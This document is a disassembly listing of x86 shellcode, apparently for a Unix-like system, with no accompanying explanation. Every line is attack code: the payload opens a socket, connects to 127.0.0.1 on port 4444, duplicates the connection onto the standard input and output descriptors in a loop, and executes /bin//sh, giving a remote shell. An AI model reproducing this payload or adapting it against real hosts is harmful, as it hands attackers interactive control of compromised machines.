00000000 B8FFF8FF3C mov eax,0x3cfff8ff 00000005 F7D0 not eax 00000007 50 push eax 00000008 31C0 xor eax,eax 0000000A B09A mov al,0x9a 0000000C 50 push eax 0000000D 89E5 mov ebp,esp 0000000F 31C9 xor ecx,ecx 00000011 51 push ecx 00000012 41 inc ecx 00000013 41 inc ecx 00000014 51 push ecx 00000015 51 push ecx 00000016 B0E6 mov al,0xe6 00000018 FFD5 call ebp 0000001A 31D2 xor edx,edx 0000001C 89C7 mov edi,eax 0000001E 687F000001 push dword 0x100007f 00000023 6668115C push word 0x5c11 00000027 6651 push cx 00000029 89E6 mov esi,esp 0000002B 6A10 push byte +0x10 0000002D 56 push esi 0000002E 57 push edi 0000002F B0EB mov al,0xeb 00000031 FFD5 call ebp 00000033 31D2 xor edx,edx 00000035 B209 mov dl,0x9 00000037 51 push ecx 00000038 52 push edx 00000039 57 push edi 0000003A B03E mov al,0x3e 0000003C FFD5 call ebp 0000003E 49 dec ecx 0000003F 79F2 jns 0x33 00000041 50 push eax 00000042 682F2F7368 push dword 0x68732f2f 00000047 682F62696E push dword 0x6e69622f 0000004C 89E3 mov ebx,esp 0000004E 50 push eax 0000004F 53 push ebx 00000050 89E2 mov edx,esp 00000052 50 push eax 00000053 52 push edx 00000054 53 push ebx 00000055 B03B mov al,0x3b 00000057 FFD5 call ebp